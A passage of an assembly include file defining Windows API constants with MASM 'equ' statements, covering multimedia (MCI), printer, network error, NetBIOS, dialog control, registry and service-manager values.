4001h+MCI_SET_AUDIO_LEFT equ 4002h+MCI_SET_AUDIO_RIGHT equ 4003h+MCI_BREAK_KEY equ 100h+MCI_BREAK_HWND equ 200h+MCI_BREAK_OFF equ 400h+MCI_RECORD_INSERT equ 100h+MCI_RECORD_OVERWRITE equ 200h+MCI_SOUND_NAME equ 100h+MCI_SAVE_FILE equ 100h+MCI_LOAD_FILE equ 100h+MCI_VD_MODE_PARK equ MCI_VD_OFFSET+1+MCI_VD_MEDIA_CLV equ MCI_VD_OFFSET+2+MCI_VD_MEDIA_CAV equ MCI_VD_OFFSET+3+MCI_VD_MEDIA_OTHER equ MCI_VD_OFFSET+4+MCI_VD_FORMAT_TRACK equ 4001h+MCI_VD_PLAY_REVERSE equ 10000h+MCI_VD_PLAY_FAST equ 20000h+MCI_VD_PLAY_SPEED equ 40000h+MCI_VD_PLAY_SCAN equ 80000h+MCI_VD_PLAY_SLOW equ 100000h+MCI_VD_SEEK_REVERSE equ 10000h+MCI_VD_STATUS_SPEED equ 4002h+MCI_VD_STATUS_FORWARD equ 4003h+MCI_VD_STATUS_MEDIA_TYPE equ 4004h+MCI_VD_STATUS_SIDE equ 4005h+MCI_VD_STATUS_DISC_SIZE equ 4006h+MCI_VD_GETDEVCAPS_CLV equ 10000h+MCI_VD_GETDEVCAPS_CAV equ 20000h+MCI_VD_SPIN_UP equ 10000h+MCI_VD_SPIN_DOWN equ 20000h+MCI_VD_GETDEVCAPS_CAN_REVERSE equ 4002h+MCI_VD_GETDEVCAPS_FAST_RATE equ 4003h+MCI_VD_GETDEVCAPS_SLOW_RATE equ 4004h+MCI_VD_GETDEVCAPS_NORMAL_RATE equ 4005h+MCI_VD_STEP_FRAMES equ 10000h+MCI_VD_STEP_REVERSE equ 20000h+MCI_VD_ESCAPE_STRING equ 100h+MCI_WAVE_PCM equ MCI_WAVE_OFFSET+0+MCI_WAVE_MAPPER equ MCI_WAVE_OFFSET+1+MCI_WAVE_OPEN_BUFFER equ 10000h+MCI_WAVE_SET_FORMATTAG equ 10000h+MCI_WAVE_SET_CHANNELS equ 20000h+MCI_WAVE_SET_SAMPLESPERSEC equ 40000h+MCI_WAVE_SET_AVGBYTESPERSEC equ 80000h+MCI_WAVE_SET_BLOCKALIGN equ 100000h+MCI_WAVE_SET_BITSPERSAMPLE equ 200000h+MCI_WAVE_INPUT equ 400000h+MCI_WAVE_OUTPUT equ 800000h+MCI_WAVE_STATUS_FORMATTAG equ 4001h+MCI_WAVE_STATUS_CHANNELS equ 4002h+MCI_WAVE_STATUS_SAMPLESPERSEC equ 4003h+MCI_WAVE_STATUS_AVGBYTESPERSEC equ 4004h+MCI_WAVE_STATUS_BLOCKALIGN equ 4005h+MCI_WAVE_STATUS_BITSPERSAMPLE equ 4006h+MCI_WAVE_STATUS_LEVEL equ 4007h+MCI_WAVE_SET_ANYINPUT equ 4000000h+MCI_WAVE_SET_ANYOUTPUT equ 8000000h+MCI_WAVE_GETDEVCAPS_INPUTS equ 4001h+MCI_WAVE_GETDEVCAPS_OUTPUTS equ 4002h+MCI_SEQ_DIV_PPQN equ 0+MCI_SEQ_OFFSET+MCI_SEQ_DIV_SMPTE_24 equ 1+MCI_SEQ_OFFSET+MCI_SEQ_DIV_SMPTE_25 equ 2+MCI_SEQ_OFFSET+MCI_SEQ_DIV_SMPTE_30DROP equ 3+MCI_SEQ_OFFSET+MCI_SEQ_DIV_SMPTE_30 equ 4+MCI_SEQ_OFFSET+MCI_SEQ_FORMAT_SONGPTR equ 4001h+MCI_SEQ_FILE equ 4002h+MCI_SEQ_MIDI equ 4003h+MCI_SEQ_SMPTE equ 4004h+MCI_SEQ_NONE equ 65533+MCI_SEQ_MAPPER equ 65535+MCI_SEQ_STATUS_TEMPO equ 4002h+MCI_SEQ_STATUS_PORT equ 4003h+MCI_SEQ_STATUS_SLAVE equ 4007h+MCI_SEQ_STATUS_MASTER equ 4008h+MCI_SEQ_STATUS_OFFSET equ 4009h+MCI_SEQ_STATUS_DIVTYPE equ 400Ah+MCI_SEQ_SET_TEMPO equ 10000h+MCI_SEQ_SET_PORT equ 20000h+MCI_SEQ_SET_SLAVE equ 40000h+MCI_SEQ_SET_MASTER equ 80000h+MCI_SEQ_SET_OFFSET equ 1000000h+MCI_ANIM_OPEN_WS equ 10000h+MCI_ANIM_OPEN_PARENT equ 20000h+MCI_ANIM_OPEN_NOSTATIC equ 40000h+MCI_ANIM_PLAY_SPEED equ 10000h+MCI_ANIM_PLAY_REVERSE equ 20000h+MCI_ANIM_PLAY_FAST equ 40000h+MCI_ANIM_PLAY_SLOW equ 80000h+MCI_ANIM_PLAY_SCAN equ 100000h+MCI_ANIM_STEP_REVERSE equ 10000h+MCI_ANIM_STEP_FRAMES equ 20000h+MCI_ANIM_STATUS_SPEED equ 4001h+MCI_ANIM_STATUS_FORWARD equ 4002h+MCI_ANIM_STATUS_HWND equ 4003h+MCI_ANIM_STATUS_HPAL equ 4004h+MCI_ANIM_STATUS_STRETCH equ 4005h+MCI_ANIM_INFO_TEXT equ 10000h+MCI_ANIM_GETDEVCAPS_CAN_REVERSE equ 4001h+MCI_ANIM_GETDEVCAPS_FAST_RATE equ 4002h+MCI_ANIM_GETDEVCAPS_SLOW_RATE equ 4003h+MCI_ANIM_GETDEVCAPS_NORMAL_RATE equ 4004h+MCI_ANIM_GETDEVCAPS_PALETTES equ 4006h+MCI_ANIM_GETDEVCAPS_CAN_STRETCH equ 4007h+MCI_ANIM_GETDEVCAPS_MAX_WINDOWS equ 4008h+MCI_ANIM_REALIZE_NORM equ 10000h+MCI_ANIM_REALIZE_BKGD equ 20000h+MCI_ANIM_WINDOW_HWND equ 10000h+MCI_ANIM_WINDOW_STATE equ 40000h+MCI_ANIM_WINDOW_TEXT equ 80000h+MCI_ANIM_WINDOW_ENABLE_STRETCH equ 100000h+MCI_ANIM_WINDOW_DISABLE_STRETCH equ 200000h+MCI_ANIM_WINDOW_DEFAULT equ 0h+MCI_ANIM_RECT equ 10000h+MCI_ANIM_PUT_SOURCE equ 20000h+MCI_ANIM_PUT_DESTINATION equ 40000h+MCI_ANIM_WHERE_SOURCE equ 20000h+MCI_ANIM_WHERE_DESTINATION equ 40000h+MCI_ANIM_UPDATE_HDC equ 20000h+MCI_OVLY_OPEN_WS equ 10000h+MCI_OVLY_OPEN_PARENT equ 20000h+MCI_OVLY_STATUS_HWND equ 4001h+MCI_OVLY_STATUS_STRETCH equ 4002h+MCI_OVLY_INFO_TEXT equ 10000h+MCI_OVLY_GETDEVCAPS_CAN_STRETCH equ 4001h+MCI_OVLY_GETDEVCAPS_CAN_FREEZE equ 4002h+MCI_OVLY_GETDEVCAPS_MAX_WINDOWS equ 4003h+MCI_OVLY_WINDOW_HWND equ 10000h+MCI_OVLY_WINDOW_STATE equ 40000h+MCI_OVLY_WINDOW_TEXT equ 80000h+MCI_OVLY_WINDOW_ENABLE_STRETCH equ 100000h+MCI_OVLY_WINDOW_DISABLE_STRETCH equ 200000h+MCI_OVLY_WINDOW_DEFAULT equ 0h+MCI_OVLY_RECT equ 10000h+MCI_OVLY_PUT_SOURCE equ 20000h+MCI_OVLY_PUT_DESTINATION equ 40000h+MCI_OVLY_PUT_FRAME equ 80000h+MCI_OVLY_PUT_VIDEO equ 100000h+MCI_OVLY_WHERE_SOURCE equ 20000h+MCI_OVLY_WHERE_DESTINATION equ 40000h+MCI_OVLY_WHERE_FRAME equ 80000h+MCI_OVLY_WHERE_VIDEO equ 100000h+CAPS1 equ 94+C1_TRANSPARENT equ 1h+NEWTRANSPARENT equ 3+QUERYROPSUPPORT equ 40+SELECTDIB equ 41+SE_ERR_SHARE equ 26+SE_ERR_ASSOCINCOMPLETE equ 27+SE_ERR_DDETIMEOUT equ 28+SE_ERR_DDEFAIL equ 29+SE_ERR_DDEBUSY equ 30+SE_ERR_NOASSOC equ 31+PRINTER_CONTROL_PAUSE equ 1+PRINTER_CONTROL_RESUME equ 2+PRINTER_CONTROL_PURGE equ 3+PRINTER_STATUS_PAUSED equ 1h+PRINTER_STATUS_ERROR equ 2h+PRINTER_STATUS_PENDING_DELETION equ 4h+PRINTER_STATUS_PAPER_JAM equ 8h+PRINTER_STATUS_PAPER_OUT equ 10h+PRINTER_STATUS_MANUAL_FEED equ 20h+PRINTER_STATUS_PAPER_PROBLEM equ 40h+PRINTER_STATUS_OFFLINE equ 80h+PRINTER_STATUS_IO_ACTIVE equ 100h+PRINTER_STATUS_BUSY equ 200h+PRINTER_STATUS_PRINTING equ 400h+PRINTER_STATUS_OUTPUT_BIN_FULL equ 800h+PRINTER_STATUS_NOT_AVAILABLE equ 1000h+PRINTER_STATUS_WAITING equ 2000h+PRINTER_STATUS_PROCESSING equ 4000h+PRINTER_STATUS_INITIALIZING equ 8000h+PRINTER_STATUS_WARMING_UP equ 10000h+PRINTER_STATUS_TONER_LOW equ 20000h+PRINTER_STATUS_NO_TONER equ 40000h+PRINTER_STATUS_PAGE_PUNT equ 80000h+PRINTER_STATUS_USER_INTERVENTION equ 100000h+PRINTER_STATUS_OUT_OF_MEMORY equ 200000h+PRINTER_STATUS_DOOR_OPEN equ 400000h+PRINTER_ATTRIBUTE_QUEUED equ 1h+PRINTER_ATTRIBUTE_DIRECT equ 2h+PRINTER_ATTRIBUTE_DEFAULT equ 4h+PRINTER_ATTRIBUTE_SHARED equ 8h+PRINTER_ATTRIBUTE_NETWORK equ 10h+PRINTER_ATTRIBUTE_HIDDEN equ 20h+PRINTER_ATTRIBUTE_LOCAL equ 40h+NO_PRIORITY equ 0+MAX_PRIORITY equ 99+MIN_PRIORITY equ 1+DEF_PRIORITY equ 1+JOB_CONTROL_PAUSE equ 1+JOB_CONTROL_RESUME equ 2+JOB_CONTROL_CANCEL equ 3+JOB_CONTROL_RESTART equ 4+JOB_STATUS_PAUSED equ 1h+JOB_STATUS_ERROR equ 2h+JOB_STATUS_DELETING equ 4h+JOB_STATUS_SPOOLING equ 8h+JOB_STATUS_PRINTING equ 10h+JOB_STATUS_OFFLINE equ 20h+JOB_STATUS_PAPEROUT equ 40h+JOB_STATUS_PRINTED equ 80h+JOB_POSITION_UNSPECIFIED equ 0+FORM_BUILTIN equ 1h+PRINTER_CONTROL_SET_STATUS equ 4+PRINTER_ATTRIBUTE_WORK_OFFLINE equ 400h+PRINTER_ATTRIBUTE_ENABLE_BIDI equ 800h+JOB_CONTROL_DELETE equ 5+JOB_STATUS_USER_INTERVENTION equ 10000h+DI_CHANNEL equ 1+DI_READ_SPOOL_JOB equ 3+PORT_TYPE_WRITE equ 1h+PORT_TYPE_READ equ 2h+PORT_TYPE_REDIRECTED equ 4h+PORT_TYPE_NET_ATTACHED equ 8h+PRINTER_ENUM_DEFAULT equ 1h+PRINTER_ENUM_LOCAL equ 2h+PRINTER_ENUM_CONNECTIONS equ 4h+PRINTER_ENUM_FAVORITE equ 4h+PRINTER_ENUM_NAME equ 8h+PRINTER_ENUM_REMOTE equ 10h+PRINTER_ENUM_SHARED equ 20h+PRINTER_ENUM_NETWORK equ 40h+PRINTER_ENUM_EXPAND equ 4000h+PRINTER_ENUM_CONTAINER equ 8000h+PRINTER_ENUM_ICONMASK equ 0FF0000h+PRINTER_ENUM_ICON1 equ 10000h+PRINTER_ENUM_ICON2 equ 20000h+PRINTER_ENUM_ICON3 equ 40000h+PRINTER_ENUM_ICON4 equ 80000h+PRINTER_ENUM_ICON5 equ 100000h+PRINTER_ENUM_ICON6 equ 200000h+PRINTER_ENUM_ICON7 equ 400000h+PRINTER_ENUM_ICON8 equ 800000h+PRINTER_CHANGE_ADD_PRINTER equ 1h+PRINTER_CHANGE_SET_PRINTER equ 2h+PRINTER_CHANGE_DELETE_PRINTER equ 4h+PRINTER_CHANGE_PRINTER equ 0FFh+PRINTER_CHANGE_ADD_JOB equ 100h+PRINTER_CHANGE_SET_JOB equ 200h+PRINTER_CHANGE_DELETE_JOB equ 400h+PRINTER_CHANGE_WRITE_JOB equ 800h+PRINTER_CHANGE_JOB equ 0FF00h+PRINTER_CHANGE_ADD_FORM equ 10000h+PRINTER_CHANGE_SET_FORM equ 20000h+PRINTER_CHANGE_DELETE_FORM equ 40000h+PRINTER_CHANGE_FORM equ 70000h+PRINTER_CHANGE_ADD_PORT equ 100000h+PRINTER_CHANGE_CONFIGURE_PORT equ 200000h+PRINTER_CHANGE_DELETE_PORT equ 400000h+PRINTER_CHANGE_PORT equ 700000h+PRINTER_CHANGE_ADD_PRINT_PROCESSOR equ 1000000h+PRINTER_CHANGE_DELETE_PRINT_PROCESSOR equ 4000000h+PRINTER_CHANGE_PRINT_PROCESSOR equ 7000000h+PRINTER_CHANGE_ADD_PRINTER_DRIVER equ 10000000h+PRINTER_CHANGE_DELETE_PRINTER_DRIVER equ 40000000h+PRINTER_CHANGE_PRINTER_DRIVER equ 70000000h+PRINTER_CHANGE_TIMEOUT equ 80000000h+PRINTER_CHANGE_ALL equ 7777FFFFh+PRINTER_ERROR_INFORMATION equ 80000000h+PRINTER_ERROR_WARNING equ 40000000h+PRINTER_ERROR_SEVERE equ 20000000h+PRINTER_ERROR_OUTOFPAPER equ 1h+PRINTER_ERROR_JAM equ 2h+PRINTER_ERROR_OUTOFTONER equ 4h+SERVER_ACCESS_ADMINISTER equ 1h+SERVER_ACCESS_ENUMERATE equ 2h+PRINTER_ACCESS_ADMINISTER equ 4h+PRINTER_ACCESS_USE equ 8h+JOB_ACCESS_ADMINISTER equ 10h+SERVER_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SERVER_ACCESS_ADMINISTER|SERVER_ACCESS_ENUMERATE+SERVER_READ equ STANDARD_RIGHTS_READ|SERVER_ACCESS_ENUMERATE+SERVER_WRITE equ STANDARD_RIGHTS_WRITE|SERVER_ACCESS_ADMINISTER|SERVER_ACCESS_ENUMERATE+SERVER_EXECUTE equ STANDARD_RIGHTS_EXECUTE|SERVER_ACCESS_ENUMERATE+PRINTER_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|PRINTER_ACCESS_ADMINISTER|PRINTER_ACCESS_USE+PRINTER_READ equ STANDARD_RIGHTS_READ|PRINTER_ACCESS_USE+PRINTER_WRITE equ STANDARD_RIGHTS_WRITE|PRINTER_ACCESS_USE+PRINTER_EXECUTE equ STANDARD_RIGHTS_EXECUTE|PRINTER_ACCESS_USE+JOB_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|JOB_ACCESS_ADMINISTER+JOB_READ equ STANDARD_RIGHTS_READ|JOB_ACCESS_ADMINISTER+JOB_WRITE equ STANDARD_RIGHTS_WRITE|JOB_ACCESS_ADMINISTER+JOB_EXECUTE equ STANDARD_RIGHTS_EXECUTE|JOB_ACCESS_ADMINISTER+RESOURCE_CONNECTED equ 1h+RESOURCE_PUBLICNET equ 2h+RESOURCE_GLOBALNET equ 2h+RESOURCE_REMEMBERED equ 3h+RESOURCE_RECENT equ 4h+RESOURCE_CONTEXT equ 5h+RESOURCETYPE_ANY equ 0h+RESOURCETYPE_DISK equ 1h+RESOURCETYPE_PRINT equ 2h+RESOURCETYPE_UNKNOWN equ 0FFFFh+RESOURCEUSAGE_CONNECTABLE equ 1h+RESOURCEUSAGE_CONTAINER equ 2h+RESOURCEUSAGE_RESERVED equ 80000000h+RESOURCEDISPLAYTYPE_GENERIC equ 0h+RESOURCEDISPLAYTYPE_DOMAIN equ 1h+RESOURCEDISPLAYTYPE_SERVER equ 2h+RESOURCEDISPLAYTYPE_SHARE equ 3h+RESOURCEDISPLAYTYPE_FILE equ 4h+RESOURCEDISPLAYTYPE_GROUP equ 5h+CONNECT_UPDATE_PROFILE equ 1h+WN_SUCCESS equ NO_ERROR+WN_NOT_SUPPORTED equ ERROR_NOT_SUPPORTED+WN_NET_ERROR equ ERROR_UNEXP_NET_ERR+WN_MORE_DATA equ ERROR_MORE_DATA+WN_BAD_POINTER equ ERROR_INVALID_ADDRESS+WN_BAD_VALUE equ ERROR_INVALID_PARAMETER+WN_BAD_PASSWORD equ ERROR_INVALID_PASSWORD+WN_ACCESS_DENIED equ ERROR_ACCESS_DENIED+WN_FUNCTION_BUSY equ ERROR_BUSY+WN_WINDOWS_ERROR equ ERROR_UNEXP_NET_ERR+WN_BAD_USER equ ERROR_BAD_USERNAME+WN_OUT_OF_MEMORY equ ERROR_NOT_ENOUGH_MEMORY+WN_NO_NETWORK equ ERROR_NO_NETWORK+WN_EXTENDED_ERROR equ ERROR_EXTENDED_ERROR+WN_NOT_CONNECTED equ ERROR_NOT_CONNECTED+WN_OPEN_FILES equ ERROR_OPEN_FILES+WN_DEVICE_IN_USE equ ERROR_DEVICE_IN_USE+WN_BAD_NETNAME equ ERROR_BAD_NET_NAME+WN_BAD_LOCALNAME equ ERROR_BAD_DEVICE+WN_ALREADY_CONNECTED equ ERROR_ALREADY_ASSIGNED+WN_DEVICE_ERROR equ ERROR_GEN_FAILURE+WN_CONNECTION_CLOSED equ ERROR_CONNECTION_UNAVAIL+WN_NO_NET_OR_BAD_PATH equ ERROR_NO_NET_OR_BAD_PATH+WN_BAD_PROVIDER equ ERROR_BAD_PROVIDER+WN_CANNOT_OPEN_PROFILE equ ERROR_CANNOT_OPEN_PROFILE+WN_BAD_PROFILE equ ERROR_BAD_PROFILE+WN_BAD_HANDLE equ ERROR_INVALID_HANDLE+WN_NO_MORE_ENTRIES equ ERROR_NO_MORE_ITEMS+WN_NOT_CONTAINER equ ERROR_NOT_CONTAINER+WN_NO_ERROR equ NO_ERROR+NCBNAMSZ equ 16+MAX_LANA equ 254+NAME_FLAGS_MASK equ 87h+GROUP_NAME equ 80h+UNIQUE_NAME equ 0h+REGISTERING equ 0h+REGISTERED equ 4h+DEREGISTERED equ 5h+DUPLICATE equ 6h+DUPLICATE_DEREG equ 7h+LISTEN_OUTSTANDING equ 1h+CALL_PENDING equ 2h+SESSION_ESTABLISHED equ 3h+HANGUP_PENDING equ 4h+HANGUP_COMPLETE equ 5h+SESSION_ABORTED equ 6h+NCBCALL equ 10h+NCBLISTEN equ 11h+NCBHANGUP equ 12h+NCBSEND equ 14h+NCBRECV equ 15h+NCBRECVANY equ 16h+NCBCHAINSEND equ 17h+NCBDGSEND equ 20h+NCBDGRECV equ 21h+NCBDGSENDBC equ 22h+NCBDGRECVBC equ 23h+NCBADDNAME equ 30h+NCBDELNAME equ 31h+NCBRESET equ 32h+NCBASTAT equ 33h+NCBSSTAT equ 34h+NCBCANCEL equ 35h+NCBADDGRNAME equ 36h+NCBENUM equ 37h+NCBUNLINK equ 70h+NCBSENDNA equ 71h+NCBCHAINSENDNA equ 72h+NCBLANSTALERT equ 73h+NCBACTION equ 77h+NCBFINDNAME equ 78h+NCBTRACE equ 79h+ASYNCH equ 80h+NRC_GOODRET equ 0h+NRC_BUFLEN equ 1h+NRC_ILLCMD equ 3h+NRC_CMDTMO equ 5h+NRC_INCOMP equ 6h+NRC_BADDR equ 7h+NRC_SNUMOUT equ 8h+NRC_NORES equ 9h+NRC_SCLOSED equ 0Ah+NRC_CMDCAN equ 0Bh+NRC_DUPNAME equ 0Dh+NRC_NAMTFUL equ 0Eh+NRC_ACTSES equ 0Fh+NRC_LOCTFUL equ 11h+NRC_REMTFUL equ 12h+NRC_ILLNN equ 13h+NRC_NOCALL equ 14h+NRC_NOWILD equ 15h+NRC_INUSE equ 16h+NRC_NAMERR equ 17h+NRC_SABORT equ 18h+NRC_NAMCONF equ 19h+NRC_IFBUSY equ 21h+NRC_TOOMANY equ 22h+NRC_BRIDGE equ 23h+NRC_CANOCCR equ 24h+NRC_CANCEL equ 26h+NRC_DUPENV equ 30h+NRC_ENVNOTDEF equ 34h+NRC_OSRESNOTAV equ 35h+NRC_MAXAPPS equ 36h+NRC_NOSAPS equ 37h+NRC_NORESOURCES equ 38h+NRC_INVADDRESS equ 39h+NRC_INVDDID equ 3Bh+NRC_LOCKFAIL equ 3Ch+NRC_OPENERR equ 3Fh+NRC_SYSTEM equ 40h+NRC_PENDING equ 0FFh+EXCEPTION_EXECUTE_HANDLER equ 1+EXCEPTION_CONTINUE_SEARCH equ 0+EXCEPTION_CONTINUE_EXECUTION equ -1+ctlFirst equ 400h+ctlLast equ 4FFh+psh1 equ 400h+psh2 equ 401h+psh3 equ 402h+psh4 equ 403h+psh5 equ 404h+psh6 equ 405h+psh7 equ 406h+psh8 equ 407h+psh9 equ 408h+psh10 equ 409h+psh11 equ 40Ah+psh12 equ 40Bh+psh13 equ 40Ch+psh14 equ 40Dh+psh15 equ 40Eh+pshHelp equ psh15+psh16 equ 40Fh+chx1 equ 410h+chx2 equ 411h+chx3 equ 412h+chx4 equ 413h+chx5 equ 414h+chx6 equ 415h+chx7 equ 416h+chx8 equ 417h+chx9 equ 418h+chx10 equ 419h+chx11 equ 41Ah+chx12 equ 41Bh+chx13 equ 41Ch+chx14 equ 41Dh+chx15 equ 41Eh+chx16 equ 41Dh+rad1 equ 420h+rad2 equ 421h+rad3 equ 422h+rad4 equ 423h+rad5 equ 424h+rad6 equ 425h+rad7 equ 426h+rad8 equ 427h+rad9 equ 428h+rad10 equ 429h+rad11 equ 42Ah+rad12 equ 42Bh+rad13 equ 42Ch+rad14 equ 42Dh+rad15 equ 42Eh+rad16 equ 42Fh+grp1 equ 430h+grp2 equ 431h+grp3 equ 432h+grp4 equ 433h+frm1 equ 434h+frm2 equ 435h+frm3 equ 436h+frm4 equ 437h+rct1 equ 438h+rct2 equ 439h+rct3 equ 43Ah+rct4 equ 43Bh+ico1 equ 43Ch+ico2 equ 43Dh+ico3 equ 43Eh+ico4 equ 43Fh+stc1 equ 440h+stc2 equ 441h+stc3 equ 442h+stc4 equ 443h+stc5 equ 444h+stc6 equ 445h+stc7 equ 446h+stc8 equ 447h+stc9 equ 448h+stc10 equ 449h+stc11 equ 44Ah+stc12 equ 44Bh+stc13 equ 44Ch+stc14 equ 44Dh+stc15 equ 44Eh+stc16 equ 44Fh+stc17 equ 450h+stc18 equ 451h+stc19 equ 452h+stc20 equ 453h+stc21 equ 454h+stc22 equ 455h+stc23 equ 456h+stc24 equ 457h+stc25 equ 458h+stc26 equ 459h+stc27 equ 45Ah+stc28 equ 45Bh+stc29 equ 45Ch+stc30 equ 45Dh+stc31 equ 45Eh+stc32 equ 45Fh+lst1 equ 460h+lst2 equ 461h+lst3 equ 462h+lst4 equ 463h+lst5 equ 464h+lst6 equ 465h+lst7 equ 466h+lst8 equ 467h+lst9 equ 468h+lst10 equ 469h+lst11 equ 46Ah+lst12 equ 46Bh+lst13 equ 46Ch+lst14 equ 46Dh+lst15 equ 46Eh+lst16 equ 46Fh+cmb1 equ 470h+cmb2 equ 471h+cmb3 equ 472h+cmb4 equ 473h+cmb5 equ 474h+cmb6 equ 475h+cmb7 equ 476h+cmb8 equ 477h+cmb9 equ 478h+cmb10 equ 479h+cmb11 equ 47Ah+cmb12 equ 47Bh+cmb13 equ 47Ch+cmb14 equ 47Dh+cmb15 equ 47Eh+cmb16 equ 47Fh+edt1 equ 480h+edt2 equ 481h+edt3 equ 482h+edt4 equ 483h+edt5 equ 484h+edt6 equ 485h+edt7 equ 486h+edt8 equ 487h+edt9 equ 488h+edt10 equ 489h+edt11 equ 48Ah+edt12 equ 48Bh+edt13 equ 48Ch+edt14 equ 48Dh+edt15 equ 48Eh+edt16 equ 48Fh+scr1 equ 490h+scr2 equ 491h+scr3 equ 492h+scr4 equ 493h+scr5 equ 494h+scr6 equ 495h+scr7 equ 496h+scr8 equ 497h+FILEOPENORD equ 1536+MULTIFILEOPENORD equ 1537+PRINTDLGORD equ 1538+PRNSETUPDLGORD equ 1539+FINDDLGORD equ 1540+REPLACEDLGORD equ 1541+FONTDLGORD equ 1542+FORMATDLGORD31 equ 1543+FORMATDLGORD30 equ 1544+HKEY_CLASSES_ROOT equ 80000000h+HKEY_CURRENT_USER equ 80000001h+HKEY_LOCAL_MACHINE equ 80000002h+HKEY_USERS equ 80000003h+HKEY_PERFORMANCE_DATA equ 80000004h+HKEY_CURRENT_CONFIG equ 80000005h+HKEY_DYN_DATA equ 80000006h+SERVICE_NO_CHANGE equ 0FFFFh+SERVICE_ACTIVE equ 1h+SERVICE_INACTIVE equ 2h+SERVICE_STATE_ALL equ SERVICE_ACTIVE|SERVICE_INACTIVE+SERVICE_CONTROL_STOP equ 1h+SERVICE_CONTROL_PAUSE equ 2h+SERVICE_CONTROL_CONTINUE equ 3h+SERVICE_CONTROL_INTERROGATE equ 4h+SERVICE_CONTROL_SHUTDOWN equ 5h+SERVICE_STOPPED equ 1h+SERVICE_START_PENDING equ 2h+SERVICE_STOP_PENDING equ 3h+SERVICE_RUNNING equ 4h+SERVICE_CONTINUE_PENDING equ 5h+SERVICE_PAUSE_PENDING equ 6h+SERVICE_PAUSED equ 7h+SERVICE_ACCEPT_STOP equ 1h+SERVICE_ACCEPT_PAUSE_CONTINUE equ 2h+SERVICE_ACCEPT_SHUTDOWN equ 4h+SC_MANAGER_CONNECT equ 1h+SC_MANAGER_CREATE_SERVICE equ 2h+SC_MANAGER_ENUMERATE_SERVICE equ 4h+SC_MANAGER_LOCK equ 8h+SC_MANAGER_QUERY_LOCK_STATUS equ 10h+SC_MANAGER_MODIFY_BOOT_CONFIG equ 20h+SC_MANAGER_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SC_MANAGER_CONNECT|SC_MANAGER_CREATE_SERVICE|SC_MANAGER_ENUMERATE_SERVICE|SC_MANAGER_LOCK+SERVICE_QUERY_CONFIG equ 1h+SERVICE_CHANGE_CONFIG equ 2h+SERVICE_QUERY_STATUS equ 4h+SERVICE_ENUMERATE_DEPENDENTS equ 8h+SERVICE_START equ 10h+SERVICE_STOP equ 20h+SERVICE_PAUSE_CONTINUE equ 40h+SERVICE_INTERROGATE equ 80h+SERVICE_USER_DEFINED_CONTROL equ 100h+SERVICE_ALL_ACCESS equ STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS+PERF_DATA_VERSION equ 1+PERF_DATA_REVISION equ 1+PERF_NO_INSTANCES equ -1+PERF_SIZE_DWORD equ 0h+PERF_SIZE_LARGE equ 100h+PERF_SIZE_ZERO equ 200h+PERF_SIZE_VARIABLE_LEN equ 300h+PERF_TYPE_NUMBER equ 0h+PERF_TYPE_COUNTER equ 400h+PERF_TYPE_TEXT equ 800h+PERF_TYPE_ZERO equ 0C00h+PERF_NUMBER_HEX equ 0h+PERF_NUMBER_DECIMAL equ 10000h+PERF_NUMBER_DEC_1000 equ 20000h+PERF_COUNTER_VALUE equ 0h+PERF_COUNTER_RATE equ 10000h+PERF_COUNTER_FRACTION equ 20000h+PERF_COUNTER_BASE equ 30000h+PERF_COUNTER_ELAPSED equ 40000h+PERF_COUNTER_QUEUELEN equ 50000h+PERF_COUNTER_HISTOGRAM equ 60000h+PERF_TEXT_UNICODE equ 0h+PERF_TEXT_ASCII equ 10000h+PERF_TIMER_TICK equ 0h+PERF_TIMER_100NS equ 100000h+PERF_OBJECT_TIMER equ 200000h+PERF_DELTA_COUNTER equ 400000h+PERF_DELTA_BASE equ 800000h+PERF_INVERSE_COUNTER equ 1000000h+PERF_MULTI_COUNTER equ 2000000h+PERF_DISPLAY_NO_SUFFIX equ 0h+PERF_DISPLAY_PER_SEC equ 10000000h+PERF_DISPLAY_PERCENT equ 20000000h+PERF_DISPLAY_SECONDS equ 30000000h+PERF_DISPLAY_NOSHOW equ 40000000h+PERF_COUNTER_COUNTER equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PER_SEC+PERF_COUNTER_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PERCENT+PERF_COUNTER_QUEUELEN_TYPE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_QUEUELEN|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_NO_SUFFIX+PERF_COUNTER_BULK_COUNT equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PER_SEC+PERF_COUNTER_TEXT equ PERF_SIZE_VARIABLE_LEN|PERF_TYPE_TEXT|PERF_TEXT_UNICODE|PERF_DISPLAY_NO_SUFFIX+PERF_COUNTER_RAWCOUNT equ PERF_SIZE_DWORD|PERF_TYPE_NUMBER|PERF_NUMBER_DECIMAL|PERF_DISPLAY_NO_SUFFIX+PERF_SAMPLE_FRACTION equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DELTA_COUNTER|PERF_DELTA_BASE|PERF_DISPLAY_PERCENT+PERF_SAMPLE_COUNTER equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_NO_SUFFIX+PERF_COUNTER_NODATA equ PERF_SIZE_ZERO|PERF_DISPLAY_NOSHOW+PERF_COUNTER_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT+PERF_SAMPLE_BASE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|1h+PERF_AVERAGE_TIMER equ 